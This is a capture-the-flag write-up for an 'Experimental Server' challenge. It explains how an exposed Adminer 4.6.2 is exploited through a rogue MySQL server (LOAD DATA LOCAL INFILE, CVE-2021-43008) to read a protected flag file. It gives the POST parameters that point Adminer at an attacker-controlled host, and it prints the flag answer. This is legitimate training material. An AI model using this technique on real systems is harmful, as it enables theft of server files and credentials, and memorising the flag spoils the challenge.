Skip to content

Experimental Server

Hi Senior Researcher,

a group of researchers is preparing a new server for their upcoming project. It is not in production yet, so following the usual convention, the machine has been given an experimental hostname (such as x--).

Everything seems routine — until the network monitoring team notices something unusual: the server is making suspicious outbound TCP connections to port 3306. Its admins are attending an IEEE event and cannot be disturbed, so it is up to you to find out what is going on.

Stay curious!

The server sits on x-www26-2.nren.tcc

Solution

Flag: FLAG{u2G3-dsoj-nLGS-M9xh}

Reconnaissance

  • HTTP on port 80: Apache/2.4.54 (Debian) serving a "Coming soon" page
  • Exposed /.env file with database credentials (decoy — MySQL not running on localhost, JWT secret decodes to {"this":"is not real","just":"decoy"})
  • /adminer.php — Adminer 4.6.2, a PHP database management tool
  • /backup/ directory returns 403 Forbidden (.htaccess with Require all denied)

Vulnerability

Adminer 4.6.2 — Rogue MySQL Server / LOAD DATA LOCAL INFILE (CVE-2021-43008)

Adminer allows connecting to arbitrary MySQL servers. An attacker sets up a rogue MySQL server that, during the handshake, sends a LOAD DATA LOCAL INFILE request. Adminer's PHP MySQL client then reads the requested file from the local filesystem and sends it to the attacker's server.

This explains the suspicious outbound TCP connections to port 3306 — Adminer connecting to an attacker-controlled MySQL server.

Exploitation

  1. Set up a rogue MySQL server on our machine (10.200.0.48:3306) that:
  2. Performs a minimal MySQL greeting/auth handshake
  3. On the first client query (SET NAMES utf8mb4), responds with LOAD DATA LOCAL INFILE '<target_file>'

  4. Captures the file contents returned by Adminer

  5. Trigger the connection by POSTing to Adminer's login form: 

    auth[driver]=server
auth[server]=10.200.0.48
auth[username]=test
auth[password]=test
auth[db]=test

  6. The flag was in /backup/flag.txt, protected by .htaccess (403 via HTTP) but readable from the filesystem via the Adminer file-read vulnerability.